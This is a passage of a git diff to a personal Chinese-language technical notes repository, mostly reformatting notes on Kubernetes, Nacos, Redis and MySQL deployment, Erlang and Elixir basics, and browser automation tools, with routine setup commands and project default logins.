Always:默认取值,不管是成功退出还是失败退出,都尝试重启该容器,Pod的阶段会保持为Running + 2. OnFailure:失败的时候重启,Pod的阶段保持为Running,成功的时候不重启,Pod的阶段转为Succeeded + 3. Never:不管失败还是成功都不重启,Pod的阶段转为Failed或者Succeeded 3. 对于已完成的Pod(包括Failed和Succeeded的Pod),它们的API对象会保留在系统中。当系统中创建的Pod数量超出了指定阈值(kube-controller-manager中的terminated-pod-gc-threshold)时,控制面板会清理这些已完成的Pod(包括Failed和Succeeded的Pod)。 - ## API -1. kubernetes通过http rest协议向外暴露api,各组件间和kubectl都是通过rest api调用api-server,并在rest api中使用多个api版本进行版本控制,每个版本有不同的api路径 -例如:/api/v1或/api/extension/v1beta1 - -2. api-group -kubernetes 的api是按照api-group进行分组的,各api在不同的组下 - 1. core: 核心组, kubernetes早期就存在或者必须的资源, 其路径为 /api/v1, 对应的yaml为:apiVersion: v1 - 2. 其他组: 核心组之外的资源,路径为/apis/Group_Name/Version,yaml为apiVersion: GroupName/Version。 - 例如Deployment其apiVersion: apps/v1,那么其Rest地址为/apis/apps/v1/namespaces/{namespace}/deployments \ No newline at end of file + +1. kubernetes通过http rest协议向外暴露api,各组件间和kubectl都是通过rest api调用api-server,并在rest api中使用多个api版本进行版本控制,每个版本有不同的api路径\ + 例如:/api/v1或/api/extension/v1beta1 + +2. api-group\ + kubernetes 的api是按照api-group进行分组的,各api在不同的组下 + +3. core: 核心组, kubernetes早期就存在或者必须的资源, 其路径为 /api/v1, 对应的yaml为:apiVersion: v1 + +4. 其他组: 核心组之外的资源,路径为/apis/Group_Name/Version,yaml为apiVersion: GroupName/Version。\ + 例如Deployment其apiVersion: apps/v1,那么其Rest地址为/apis/apps/v1/namespaces/{namespace}/deployments diff --git a/container/Kubernetes/k8s-sigs/README.md b/container/Kubernetes/k8s-sigs/README.md index c129715..972f8e3 100644 --- a/container/Kubernetes/k8s-sigs/README.md +++ b/container/Kubernetes/k8s-sigs/README.md @@ -1,7 +1,13 @@ +--- +created_date: 2020-12-19 +--- + +[TOC] ## SIG API Machinery ## SIG-autoscaling + - SIG Autoscaling 专注于改进 HPA (Horizontal Pod Autoscaling)API 和算法 ## SIG-Azure @@ -19,4 +25,3 @@ ## SIG-scheduling ## SIG-storage - diff --git a/container/Kubernetes/k8s-sigs/descheduler.md b/container/Kubernetes/k8s-sigs/descheduler.md index aca2d85..5adc8ee 100644 --- a/container/Kubernetes/k8s-sigs/descheduler.md +++ b/container/Kubernetes/k8s-sigs/descheduler.md @@ -1,18 +1,31 @@ +--- +created_date: 2020-12-10 +--- + +[TOC] + ## 背景 + 1. scheduler工作机制,如果不发生驱逐或者手动干预,Pod的一生只会被调度一次。 2. descheduler项目 目前不支持根据node资源的真实使用情况进行二次调度。 ## 需求 + 1. 让K8s周期性评估node资源真实情况,将Pod调度都资源最富余的node上。 ## descheduler + - https://github.com/kubernetes-sigs/descheduler + ### 机制 -- 主要工作原理 -使用封装好的k8s客户端client-go与k8s集群进行通信,获取集群中node和pod的情况,然后读取规则,最终决定是否驱逐node上的pod(通过标记为evicted)进其它的node上。 + +- 主要工作原理\ + 使用封装好的k8s客户端client-go与k8s集群进行通信,获取集群中node和pod的情况,然后读取规则,最终决定是否驱逐node上的pod(通过标记为evicted)进其它的node上。 ### 策略 + 1. LowNodeUtilization: 根据node上所有Pod的request请求资源量/node资源总量 来评估。 + ```yaml apiVersion: "descheduler/v1alpha1" kind: "DeschedulerPolicy" @@ -36,29 +49,34 @@ strategies: 1. 基于descheduler项目,通过调用其它工具(例如Prometheus)来获取node资源的实际使用情况UsedResource,然后进行 UsedResource/node资源总量 来评估,是否需要将Pod调度到另一个节点上。 ### 实施过程 + 1. 获取node节点的Allocatable资源 (通过client-go查看Etcd获取Allocatable) 2. 获取node节点的资源实际使用情况metrics (通过 metric-server) 3. 获取Pod的资源使用情况metrics (通过 metric-server) -3. 和配置进行对比,选出资源使用超标的节点 -4. 选出可以evict的pod -5. 重新调度 - - 方式一 将pod调度到资源使用低的节点上。 -- 需要重写k8s scheduler +4. 和配置进行对比,选出资源使用超标的节点 +5. 选出可以evict的pod +6. 重新调度 + - 方式一 将pod调度到资源使用低的节点上。 -- 需要重写k8s scheduler - 方式二 terminate pod + #### 具体细节 + - 使用k8s库go-client和apiserver进行交互 1. 节点真实使用的内存和CPU - curl 127.0.0.1:8001/apis/metrics.k8s.io/v1beta1/nodes/${nodename} + curl 127.0.0.1:8001/apis/metrics.k8s.io/v1beta1/nodes/${nodename} 2. Pod真实使用的内存和CPU - curl 127.0.0.1:8001/apis/metrics.k8s.io/v1beta1/${namespace}/pods/${podname} + curl 127.0.0.1:8001/apis/metrics.k8s.io/v1beta1/${namespace}/pods/${podname} 3. 获取所有节点的内存和CPU - curl 127.0.0.1:8001//api/v1/nodes/ + curl 127.0.0.1:8001//api/v1/nodes/ #### metric-server + 0. Metrics Server 是 Kubernetes 集群核心监控数据的聚合器,Metrics Server 从 Kubelet 收集资源指标,并通过 Merics API 在 Kubernetes APIServer 中提供给缩放资源对象 HPA 使用。也可以通过 Metrics API 提供的 Kubectl top 查看 Pod 资源占用情况,从而实现对资源的自动缩放。 1. 只保存数据在内存里 2. 不保存历史数据 3. metric-server是扩展的apiserver,依赖于kube-aggregator,因此需要在apiserver中开启相关参数。 ### 缺陷 + 1. 首次调度由Controller决定,descheduler无法控制。 -2. 可能的死循环:descheduler驱逐了Pod-A,新Pod-A每次都会被再次调用到原来的node节点上。 \ No newline at end of file +2. 可能的死循环:descheduler驱逐了Pod-A,新Pod-A每次都会被再次调用到原来的node节点上。 diff --git a/container/Kubernetes/k8s-sigs/kustomize.md b/container/Kubernetes/k8s-sigs/kustomize.md index a18f8ec..6402bfa 100644 --- a/container/Kubernetes/k8s-sigs/kustomize.md +++ b/container/Kubernetes/k8s-sigs/kustomize.md @@ -1,2 +1,9 @@ -# kustomize -1. 允许用户将不同环境所共享的配置放在一个文件目录下,而将其他不同的配置放在另外的目录下 \ No newline at end of file +--- +created_date: 2020-12-08 +--- + +[TOC] + +# kustomize + +1. 允许用户将不同环境所共享的配置放在一个文件目录下,而将其他不同的配置放在另外的目录下 diff --git a/container/Kubernetes/k8s-yaml/mysql-yaml.md b/container/Kubernetes/k8s-yaml/mysql-yaml.md index 6ba58d5..dce2f33 100644 --- a/container/Kubernetes/k8s-yaml/mysql-yaml.md +++ b/container/Kubernetes/k8s-yaml/mysql-yaml.md @@ -1,6 +1,15 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ## 配置configmap + ### 方式一 vi mysql.cnf + kubect create configmap mysql-cm --from-file=mysql.cnf + ```yaml [mysqld] port = 3306 @@ -104,8 +113,11 @@ max_allowed_packet = 16M [mysqlhotcopy] interactive-timeout ``` + ### 方式二 vi mysql.cnf.yaml + kubect create -f mysql.cnf.yaml + ```yaml apiVersion: v1 kind: ConfigMap @@ -216,9 +228,12 @@ data: [mysqlhotcopy] interactive-timeout ``` + ### 部署mysql + kubectl apply -f deployment-mysql_ceph.yaml deployment-mysql_ceph.yaml + ```yaml apiVersion: v1 kind: Service @@ -302,4 +317,3 @@ spec: requests: storage: 100Gi ``` - diff --git a/container/Kubernetes/k8s-yaml/nacos.md b/container/Kubernetes/k8s-yaml/nacos.md index ee47c12..defd1cb 100644 --- a/container/Kubernetes/k8s-yaml/nacos.md +++ b/container/Kubernetes/k8s-yaml/nacos.md @@ -1,48 +1,64 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + - 官网 https://nacos.io/en-us/ - 文档 https://nacos.io/zh-cn/docs/deployment.html # nacos + - 依赖 - - Java JDK 1.8 - - Mysql - - Nacos + + - Java JDK 1.8 + - Mysql + - Nacos - 默认端口 - - 8848 + + - 8848 + ## nacos vs apollo + 1. nacos配置文件支持比较多的格式,支持yaml、text、json、xml、html、Properties,apollo只支持xml、text、Properties的格式,没有兼容springboot中比较通用的yaml配置。 ## 部署 ### 使用已有的StorageClass创建部署nacos + 0. git clone https://github.com/nacos-group/nacos-k8s.git 1. 增加namespace键值 和 更改storageClassName键值,然后执行创建pvc -kubectl apply -f nacos-k8s/deploy/ceph/pvc.yaml + kubectl apply -f nacos-k8s/deploy/ceph/pvc.yaml -3. 增加nodeSlector字段tolerations字段,创建主从数据库 -kubectl create -f nacos-k8s/deploy/mysql master-ceph -n 指定命名空间 -kubectl create -f nacos-k8s/deploy/mysql slave-ceph -n 指定命名空间 +2. 增加nodeSlector字段tolerations字段,创建主从数据库 + kubectl create -f nacos-k8s/deploy/mysql master-ceph -n 指定命名空间 + kubectl create -f nacos-k8s/deploy/mysql slave-ceph -n 指定命名空间 -4. 增加nodeSlector字段tolerations字段,更改StorageClass,删除ServiceAccount键值。去掉requests。更改ConfigMap的密码。然后执行创建pvc。 -deploy/nacos/nacos-pvc-ceph.yaml +3. 增加nodeSlector字段tolerations字段,更改StorageClass,删除ServiceAccount键值。去掉requests。更改ConfigMap的密码。然后执行创建pvc。 + deploy/nacos/nacos-pvc-ceph.yaml -5. 部署nacos -kubectl create -f nacos-k8s/deploy/nacos/nacos-quick-start-ceph.yaml -n 指定命名空间 +4. 部署nacos + kubectl create -f nacos-k8s/deploy/nacos/nacos-quick-start-ceph.yaml -n 指定命名空间 -6. 登陆nacos的web界面 -http://10.200.79.70:38848/nacos/index.html#/login -nacos/nacos +5. 登陆nacos的web界面 + http://10.200.79.70:38848/nacos/index.html#/login + nacos/nacos ### 裸部署 + - https://github.com/alibaba/nacos/tree/2.0.1 1. 下载2.0版本 + ```bash wget https://github.com/alibaba/nacos/releases/download/2.0.1/nacos-server-2.0.1.tar.gz ``` + 2. 修改配置 -vim conf/application.properties + vim conf/application.properties + ```conf spring.datasource.platform=mysql # 不去掉注解则默认使用嵌入式数据库 db.num=1 @@ -50,23 +66,29 @@ db.url.0=jdbc:mysql://127.0.0.1:3306/nacos?characterEncoding=utf8&connectTimeout db.user=nacos db.password=nacos ``` + 3. 创建数据库倒入表结构 + ```sql grant all privileges on nacos.* to 'nacos'@'%' identified by 'nacos'; create database nacos; use nacos; source conf/nacos-mysql.sql ``` + 4. 集群nacos 配置 - - cp cluster.conf.example cluster.conf - - cluster.conf - ```conf - ${IP1}:8848 - ${IP2}:8848 - ${IP3}:8848 - ``` + + - cp cluster.conf.example cluster.conf + - cluster.conf + + ```conf + ${IP1}:8848 + ${IP2}:8848 + ${IP3}:8848 + ``` 5. 部署单节点模式nacos + ```bash # 默认后台启动 bin/startup.sh -m standalone @@ -75,18 +97,24 @@ bin/startup.sh -m standalone bash startup.sh -m standalone -p embedded ``` + 6. 部署集群模式nacos + ```bash # 默认后台启动 sh startup.sh -m cluster ``` 7. 查看启动日志 + ```bash tail -f logs/start.out ``` + ### docker-compose + 1. 部署单节点nacos + ```bash git clone https://github.com/nacos-group/nacos-docker cd nacos-docker @@ -95,28 +123,35 @@ docker-compose -f example/standalone-mysql-5.7.yaml up -d ``` ### 默认端口 + - HTTP 8848 - 9848 - 9849 -- Raft 7848 +- Raft 7848 ## API -1. 发布配置 -curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataId&group=gary.group&content=HelloWorld" -2. 获取配置 -curl -X GET "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataId&group=gary.group&tenant=命名空间ID" + +1. 发布配置\ + curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataId&group=gary.group&content=HelloWorld" +2. 获取配置\ + curl -X GET "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataId&group=gary.group&tenant=命名空间ID" # apollo + - 参考 - - https://github.com/ctripcorp/apollo + - https://github.com/ctripcorp/apollo + ## 安装 + - 依赖软件 - - Java JDK 1.8.x - - Maven - - Mysql - - Apollo + + - Java JDK 1.8.x + - Maven + - Mysql + - Apollo - 裸安装 + ```bash # 1. 下载三个安装包解压 adminservice,configservice,portal @@ -128,4 +163,4 @@ apollo-adminservice/scripts/start.sh # 4. 访问 账户密码 apollo/admin http://127.0.0.1:8070 -``` \ No newline at end of file +``` diff --git a/container/Kubernetes/k8s-yaml/redis.md b/container/Kubernetes/k8s-yaml/redis.md index db62e32..6893fec 100644 --- a/container/Kubernetes/k8s-yaml/redis.md +++ b/container/Kubernetes/k8s-yaml/redis.md @@ -1,6 +1,11 @@ +--- +created_date: 2020-11-16 +--- +[TOC] ## Redis + ```yaml apiVersion: extensions/v1beta1 kind: Deployment @@ -31,6 +36,7 @@ spec: persistentVolumeClaim: claimName: redis-single-pvc # pvc的名字 ``` + ```yaml apiVersion: v1 kind: Service @@ -48,7 +54,9 @@ spec: ``` ## Redis Cluster + ### 部署redis + ```yaml apiVersion: v1 kind: Service @@ -169,8 +177,9 @@ spec: ``` ### 构建redis集群 + - 下载容器 -kubectl run -it tool --image=docker.garys.top/zhouxian/tool:v1 /bin/bash + kubectl run -it tool --image=docker.garys.top/zhouxian/tool:v1 /bin/bash - 构建集群 -cd /opt -./redis-trib.rb create --replicas 1 ip1:port ip2:port ip3:port ip4:port ip5:port ip6:port \ No newline at end of file + cd /opt + ./redis-trib.rb create --replicas 1 ip1:port ip2:port ip3:port ip4:port ip5:port ip6:port diff --git a/container/Kubernetes/k8s-yaml/template.md b/container/Kubernetes/k8s-yaml/template.md index c6213d7..b5616ea 100644 --- a/container/Kubernetes/k8s-yaml/template.md +++ b/container/Kubernetes/k8s-yaml/template.md @@ -1,4 +1,11 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ## configmap + ```yaml apiVersion: v1 kind: ConfigMap @@ -8,8 +15,11 @@ metadata: data: nacos_addr: xxx.com:8848 ``` + ## service + ### ClusterIP + ```yaml apiVersion: v1 kind: Service @@ -32,7 +42,9 @@ spec: # type: NodePort ``` + ### service aws LoadBalancer + ```yaml apiVersion: v1 kind: Service @@ -64,6 +76,7 @@ spec: ``` ### service google LoadBalancer + ```yaml kind: Service apiVersion: v1 @@ -81,8 +94,11 @@ spec: targetPort: htpp-port type: LoadBalancer ``` + ## deployment + 1. standad + ```yaml apiVersion: apps/v1 kind: Deployment @@ -175,7 +191,9 @@ spec: ``` ## busybox -1. + +1. + ```yaml kind: Pod apiVersion: v1 @@ -197,7 +215,9 @@ spec: # nodeSelector: # kubernetes.io/hostname: 10.200.79.70 ``` -2. + +2. + ```yaml apiVersion: apps/v1 kind: Deployment @@ -243,6 +263,7 @@ spec: ``` ## cornjob + ```yaml piVersion: batch/v1beta1 kind: CronJob @@ -267,6 +288,7 @@ spec: ``` ## job + ```yaml apiVersion: batch/v1 kind: Job @@ -296,6 +318,7 @@ spec: ``` ## strss + ```yaml apiVersion: apps/v1 kind: Deployment @@ -332,4 +355,4 @@ spec: # nodeName: node01 dnsPolicy: ClusterFirst restartPolicy: Always -``` \ No newline at end of file +``` diff --git a/container/container.md b/container/container.md index c0ae78a..154fb35 100644 --- a/container/container.md +++ b/container/container.md @@ -1,37 +1,52 @@ +--- +created_date: 2024-12-30 +--- + +[TOC] + ## 容器的主要功能 + 1. 应用隔离 - 通过命名空间和控制组实现进程、网络、文件系统等资源的隔离,使应用运行在独立环境中。 2. 轻量级虚拟化 - 相比传统虚拟机,容器共享主机操作系统内核,启动更快、资源占用更少。 3. 可移植性 - 将应用及其依赖打包,确保在不同环境中都能稳定运行。 4. 版本控制 - 支持镜像的分层存储和版本管理,方便回滚和升级。 ## 容器编排的主要功能 + 1. 容器调度: - 1. 自动将容器分配到适当的主机上运行,基于可用的资源(CPU、内存等)进行最优部署。 + + 1. 自动将容器分配到适当的主机上运行,基于可用的资源(CPU、内存等)进行最优部署。 2. 自动扩容与缩容: - 1. 根据应用负载的变化,动态增加或减少容器数量以满足需求,优化资源利用。 + + 1. 根据应用负载的变化,动态增加或减少容器数量以满足需求,优化资源利用。 3. 容错与自愈: - 1. 当容器出现故障时,自动检测并重启失败的容器。 - 2. 如果某个节点故障,容器编排工具会将其工作负载重新分配到其他健康的节点。 + + 1. 当容器出现故障时,自动检测并重启失败的容器。 + 2. 如果某个节点故障,容器编排工具会将其工作负载重新分配到其他健康的节点。 4. 服务发现与负载均衡: - 1. 自动管理容器间的通信,通过服务发现机制找到对应的服务。 - 2. 实现流量的负载均衡,提高服务的可用性。 + + 1. 自动管理容器间的通信,通过服务发现机制找到对应的服务。 + 2. 实现流量的负载均衡,提高服务的可用性。 5. 版本管理与回滚: - 1. 支持蓝绿部署或滚动升级,可以无缝更新服务到新版本。 - 2. 如果出现问题,可以快速回滚到先前的稳定版本。 + + 1. 支持蓝绿部署或滚动升级,可以无缝更新服务到新版本。 + 2. 如果出现问题,可以快速回滚到先前的稳定版本。 6. 资源监控和日志管理: - 1. 提供对容器资源使用的实时监控(如 CPU、内存使用)和性能指标的收集,帮助管理员优化集群性能。 + + 1. 提供对容器资源使用的实时监控(如 CPU、内存使用)和性能指标的收集,帮助管理员优化集群性能。 ## 思考 + 1. 当前状况: 业务程序运行在容器内,这些容器由容器编排系统管理。 2. 问题: 如果容器或容器编排系统出现故障,业务程序会崩溃。 3. 需求: 我希望有一种工具,暂且称之为“程序治理系统”,具有以下功能: - 1. 实现类似于容器编排系统(如Kubernetes)对容器编排的主要功能,“程序治理系统”实现了对业务程序的直接编排。 - 2. “程序治理系统”自身出现问题时不影响业务程序的正常运行。 + 1. 实现类似于容器编排系统(如Kubernetes)对容器编排的主要功能,“程序治理系统”实现了对业务程序的直接编排。 + 2. “程序治理系统”自身出现问题时不影响业务程序的正常运行。 4. 实现“程序治理系统”的思路或要求: - 1. 独立架构:业务程序和“程序治理系统”独立运行,互不影响。因此,“程序治理系统”出现故障时,业务系统依然可以正常运作。 - 2. 主动监测:“程序治理系统”主动监控业务程序,获取相关指标,并执行相应的编排任务。 \ No newline at end of file + 1. 独立架构:业务程序和“程序治理系统”独立运行,互不影响。因此,“程序治理系统”出现故障时,业务系统依然可以正常运作。 + 2. 主动监测:“程序治理系统”主动监控业务程序,获取相关指标,并执行相应的编排任务。 diff --git a/language/Erlang/Erlang.md b/language/Erlang/Erlang.md index 94ab3ea..faf9af6 100644 --- a/language/Erlang/Erlang.md +++ b/language/Erlang/Erlang.md @@ -1,147 +1,175 @@ +--- +created_date: 2022-01-29 +--- +[TOC] ## 相关链接 + - OTP框架 https://github.com/erlang/otp - Erlang编译工具安装 https://www.erlang-solutions.com/downloads/ - Rebar3 https://github.com/erlang/rebar3 - ## Erlang(Ericsson Language) + - 定义:是一种通用的面向并发的动态类型编程语言,它由瑞典电信设备制造商爱立信所辖的CS-Lab开发,目的是创造一种可以应对大规模并发活动的编程语言和运行环境。 + - 诞生:问世于1987年,于1998年发布开源版本。 + - 运行时环境:一个名字为BEAM的虚拟机。 + - 特性:并发性、分布式、脚本语言... - OTP(Open Telecom Platform) - - 是一组Erlang库,包含:Erlang运行时系统、主要由Erlang编写的组件、一组Erlang程序设计原则。 - - 是爱立信公司开发的开放电信应用平台,这是一个很强大并且很通用的框架,可以帮助开发者编写大型的、容错的,分布式的系统。 + + - 是一组Erlang库,包含:Erlang运行时系统、主要由Erlang编写的组件、一组Erlang程序设计原则。 + - 是爱立信公司开发的开放电信应用平台,这是一个很强大并且很通用的框架,可以帮助开发者编写大型的、容错的,分布式的系统。 - Rebar3 是一个Erlang工具,可以轻松地创建、开发和发布Erlang库、应用程序和系统。 ### 一 -- epmd - - Erlang Port Mapper Daemon - - epmd完成Erlang节点和IP,端口的映射关系 + +- epmd + - Erlang Port Mapper Daemon + - epmd完成Erlang节点和IP,端口的映射关系 + ## Elixir -- Elixir - - 是一个基于 Erlang 虚拟机的函数式、面向并行的通用编程语言。 - - 以 Erlang 为基础,支持分布式、高容错、实时应用程序的开发,同时亦对其进行扩展使之借助宏实现元编程,并通过协议支持多态。 + +- Elixir + + - 是一个基于 Erlang 虚拟机的函数式、面向并行的通用编程语言。 + - 以 Erlang 为基础,支持分布式、高容错、实时应用程序的开发,同时亦对其进行扩展使之借助宏实现元编程,并通过协议支持多态。 - Mix - - 是Elixir工程的构建工具。 -- ExUnit 是Elixir的一个基本单元测试框架。 + - 是Elixir工程的构建工具。 +- ExUnit 是Elixir的一个基本单元测试框架。 ## 安装相关工具 - 安装erlang - ```bash - # centos上在线安装 - wget https://packages.erlang-solutions.com/erlang-solutions-2.0-1.noarch.rpm - rpm -Uvh erlang-solutions-2.0-1.noarch.rpm - yum install -y erlang - # Ubuntu20离线安装 - wget https://packages.erlang-solutions.com/erlang/debian/pool/esl-erlang_24.2-1~ubuntu~focal_amd64.deb - apt install -y ./esl-erlang_24.2-1~ubuntu~focal_amd64.deb + ```bash + # centos上在线安装 + wget https://packages.erlang-solutions.com/erlang-solutions-2.0-1.noarch.rpm + rpm -Uvh erlang-solutions-2.0-1.noarch.rpm + yum install -y erlang + + # Ubuntu20离线安装 + wget https://packages.erlang-solutions.com/erlang/debian/pool/esl-erlang_24.2-1~ubuntu~focal_amd64.deb + apt install -y ./esl-erlang_24.2-1~ubuntu~focal_amd64.deb - # Ubuntu安装 - apt-get install erlang + # Ubuntu安装 + apt-get install erlang - # 安装成功后查看eshell版本 - erl -version + # 安装成功后查看eshell版本 + erl -version - # 查看erl的版本 - erl - ``` + # 查看erl的版本 + erl + ``` - Rebar3 + ```bash wget https://s3.amazonaws.com/rebar3/rebar3 && chmod +x rebar3 ``` - 安装elixir - ```bash - # elixir # 安装成功后进行验证 elixir -v # Elixir 1.12.3 - cd / - wget https://github.com/elixir-lang/elixir/releases/download/v1.12.3/Precompiled.zip - unzip Precompiled.zip -d - ``` + ```bash + # elixir # 安装成功后进行验证 elixir -v # Elixir 1.12.3 + cd / + wget https://github.com/elixir-lang/elixir/releases/download/v1.12.3/Precompiled.zip + unzip Precompiled.zip -d + ``` ## 指令 + - erl - ```bash - # 启动一个eshell节点并且随机映射一个端口 - erl -name test1@gary -setcookie 1234 - # 启动时候启动选项包含-name 或者-sname就会自动启动epmd; - - # 查看节点和IP,端口的映射关系,epmd进程的默认端口为4369 - epmd -names - # 让epmd只侦听指定的IP - ERL_EPMD_ADDRESS=127.0.0.1 ERL_EPMD_PORT=8384 epmd -daemon - epmd -address 127.0.0.1 -port 8384 - ``` + + ```bash + # 启动一个eshell节点并且随机映射一个端口 + erl -name test1@gary -setcookie 1234 + # 启动时候启动选项包含-name 或者-sname就会自动启动epmd; + + # 查看节点和IP,端口的映射关系,epmd进程的默认端口为4369 + epmd -names + # 让epmd只侦听指定的IP + ERL_EPMD_ADDRESS=127.0.0.1 ERL_EPMD_PORT=8384 epmd -daemon + epmd -address 127.0.0.1 -port 8384 + ``` - mix - ```bash - mix new kv --module KV - ``` + + ```bash + mix new kv --module KV + ``` - rebar3 - ```bash - # rebar3为每种类型的项目都提供了模板,通过以下指令使用。 - rebar3 new ${template} ${project_name} - # template的取值: - # app: 一个有监督树、有状态的OTP应用程序,是一个单应用程序 - # lib: 一个OTP依赖(无监督树),与其他模块联合使用,是一个单应用程序 - # release: 创建一个大型项目 - # escript: 一个特殊格式的单应用项目,可以编译为一个可执行的脚本程序 - # plugin: rebar3插件结构 - - # 编译运行程序 - rebar3 shell - - # 将程序进行编译打包成prod版本的tar文件 - rebar3 as prod tar - # 可运行程序 _build/prod/rel/${project_name}/bin/project_name - # 程序被打包后的地址 ss_build/prod/rel/${project_name}/${project_name}-0.1.0.tar.gz - ``` + + ```bash + # rebar3为每种类型的项目都提供了模板,通过以下指令使用。 + rebar3 new ${template} ${project_name} + # template的取值: + # app: 一个有监督树、有状态的OTP应用程序,是一个单应用程序 + # lib: 一个OTP依赖(无监督树),与其他模块联合使用,是一个单应用程序 + # release: 创建一个大型项目 + # escript: 一个特殊格式的单应用项目,可以编译为一个可执行的脚本程序 + # plugin: rebar3插件结构 + + # 编译运行程序 + rebar3 shell + + # 将程序进行编译打包成prod版本的tar文件 + rebar3 as prod tar + # 可运行程序 _build/prod/rel/${project_name}/bin/project_name + # 程序被打包后的地址 ss_build/prod/rel/${project_name}/${project_name}-0.1.0.tar.gz + ``` ## 语法 + ### hello world + - 参考 https://riptutorial.com/erlang/example/3599/hello-world - hello脚本 vi hello.erl - ```erlang - -module(hello). % 定义模块名为hello,必须和文件名相同 - -export([hello_world/0]). % 暴露hello_world,函数需要传递0个参数进来 - hello_world() -> - io:format("Hello, World!~n", []). - ``` + ```erlang + -module(hello). % 定义模块名为hello,必须和文件名相同 + -export([hello_world/0]). % 暴露hello_world,函数需要传递0个参数进来 + + hello_world() -> + io:format("Hello, World!~n", []). + ``` + - erl 使用eshell编译运行脚本 - - 输入 erl 进入eshell - ```erlang - 1> c(hello). % 加载hello.erl文件并进行编译生成字节码文件hello.beam - {ok,hello} - 2> hello:hello_world(). % 执行模块内的函数 - Hello, World! - ok - ``` + + - 输入 erl 进入eshell + + ```erlang + 1> c(hello). % 加载hello.erl文件并进行编译生成字节码文件hello.beam + {ok,hello} + 2> hello:hello_world(). % 执行模块内的函数 + Hello, World! + ok + ``` - erlc 使用erlc编译脚本 - ```bash - erlc hello.erl -o hello.beam - ``` + + ```bash + erlc hello.erl -o hello.beam + ``` - 语法 - 1. Erlang注释符是百分号 % - 2. 使用点作为语句结束的标识 - 3. 函数内,最后一个计算结果将被返回 + + 1. Erlang注释符是百分号 % + 2. 使用点作为语句结束的标识 + 3. 函数内,最后一个计算结果将被返回 ### 其它 + - sasl是一个应用,sasl的一个重要功能便是可以记录系统进程相关日志,如进程启动、结束、崩溃错误等信息。sasl的日志功能是基于erlang自带的日志模块error_logger来实现的。 - ```eshell - application:start(sasl). - ``` \ No newline at end of file + ```eshell + application:start(sasl). + ``` diff --git a/language/Erlang/example.md b/language/Erlang/example.md index de2a1c6..1f53082 100644 --- a/language/Erlang/example.md +++ b/language/Erlang/example.md @@ -1,7 +1,17 @@ +--- +created_date: 2022-02-04 +--- + +[TOC] + - 参考 https://github.com/hcvst/erlang-otp-tutorial + ## None OTP + ### A non OTP server + - vi no_otp.erl + ```erlang %%%--------------------------------------------------------------------------- %%% @doc A simple server that does not use OTP. @@ -82,6 +92,7 @@ loop(#state{count=Count}) -> % the main server loop ``` ### Run A non OTP server + ```erlang Eshell V5.8.5 (abort with ^G) 1> c(no_otp). @@ -99,6 +110,7 @@ ok ``` ### A non-OTP supervisor + ```erlang %%%---------------------------------------------------------------------------- %%% @doc A non-OTP supervisor @@ -139,6 +151,7 @@ supervise() -> ``` ### Run A non-OTP supervisor + ```erlang Eshell V5.8.5 (abort with ^G) 1> c(sup). % compile our supervisor module @@ -166,4 +179,4 @@ ok 9> whereis(no_otp). % and check for a new instance undefined % but there is none. Correct! 10> -``` \ No newline at end of file +``` diff --git a/language/frontend/browser-user.md b/language/frontend/browser-user.md new file mode 100644 index 0000000..40c50d7 --- /dev/null +++ b/language/frontend/browser-user.md @@ -0,0 +1,26 @@ +## 链接 + +1. https://github.com/browser-use/browser-use +2. https://github.com/browser-use/web-ui + +## browser-user + +```sh +# 下载代码 +git clone https://github.com/browser-use/web-ui.git +cd web-ui + +# 创建新的python虚拟环境 +uv venv --python 3.11 +source .venv/bin/activate + +# 安装依赖 +uv pip install -r requirements.txt +playwright install --with-deps + +# 配置环境变量 +cp .env.example .env + +# 启动 +python webui.py --ip 127.0.0.1 --port 7788 +``` diff --git a/language/frontend/browser.md b/language/frontend/browser.md index e35e536..475bef9 100644 --- a/language/frontend/browser.md +++ b/language/frontend/browser.md @@ -1,86 +1,103 @@ +--- +created_date: 2025-04-17 +--- + +[TOC] + - 参考 https://github.com/zhaotoday/fingerprint-browser ## 浏览器自动化 + - 自动化浏览器的两个主要协议 - - WebDriver - - Chrome DevTools Protocol(CDP) + - WebDriver + - Chrome DevTools Protocol(CDP) -| 特性 | WebDriver | Chrome DevTools Protocol (CDP) | +| 特性 | WebDriver | Chrome DevTools Protocol (CDP) | | :----------- | :----------------------------- | :---------------------------------- | -| **标准化** | W3C 标准,跨浏览器支持 | Chrome 专属,基于 Chromium 的浏览器 | -| **通信协议** | HTTP | WebSocket | -| **功能范围** | 高级浏览器操作(点击、导航等) | 底层控制(DOM、网络、性能等) | -| **易用性** | 简单易用,适合初学者 | 需要更多技术背景,适合高级用户 | -| **性能** | 较慢(基于 HTTP 请求) | 更快(基于 WebSocket 实时通信) | -| **使用场景** | 自动化测试、网页抓取 | 高级抓取、性能分析、调试 | -| **工具支持** | Selenium、Playwright | Puppeteer、PyCDP、Playwright | +| **标准化** | W3C 标准,跨浏览器支持 | Chrome 专属,基于 Chromium 的浏览器 | +| **通信协议** | HTTP | WebSocket | +| **功能范围** | 高级浏览器操作(点击、导航等) | 底层控制(DOM、网络、性能等) | +| **易用性** | 简单易用,适合初学者 | 需要更多技术背景,适合高级用户 | +| **性能** | 较慢(基于 HTTP 请求) | 更快(基于 WebSocket 实时通信) | +| **使用场景** | 自动化测试、网页抓取 | 高级抓取、性能分析、调试 | +| **工具支持** | Selenium、Playwright | Puppeteer、PyCDP、Playwright | + +- 其它工具 + 1. DrissionPage 简化版的Selenium + 2. Katalon Studio 基于Selenium和Appium的开源工具,支持无代码录制(通过“间谍对象”记录操作步骤生成脚本) ## 无头浏览器 -- 无头浏览器(Headless Browser) - 1. 没有图形用户界面(GUI) 的浏览器,它可以在 后台运行,并且仍然能够加载网页、执行 JavaScript 代码、与页面进行交互,就像普通浏览器一样。 - 2. 是 一个“看不见”的浏览器,可以在 命令行 或 代码 中控制它,而无需打开窗口。 - 3. Puppeteer 和 Playwright 是目前最流行的无头浏览器工具,功能强大且易于使用。 - -1. Puppeteer (基于 Chromium) - 1. https://pptr.dev - 2. 是 Google 开发的 Node.js 库,提供对无头 Chrome 或 Chromium 的高级控制。 + +- 无头浏览器(Headless Browser) + 1. 没有图形用户界面(GUI) 的浏览器,它可以在 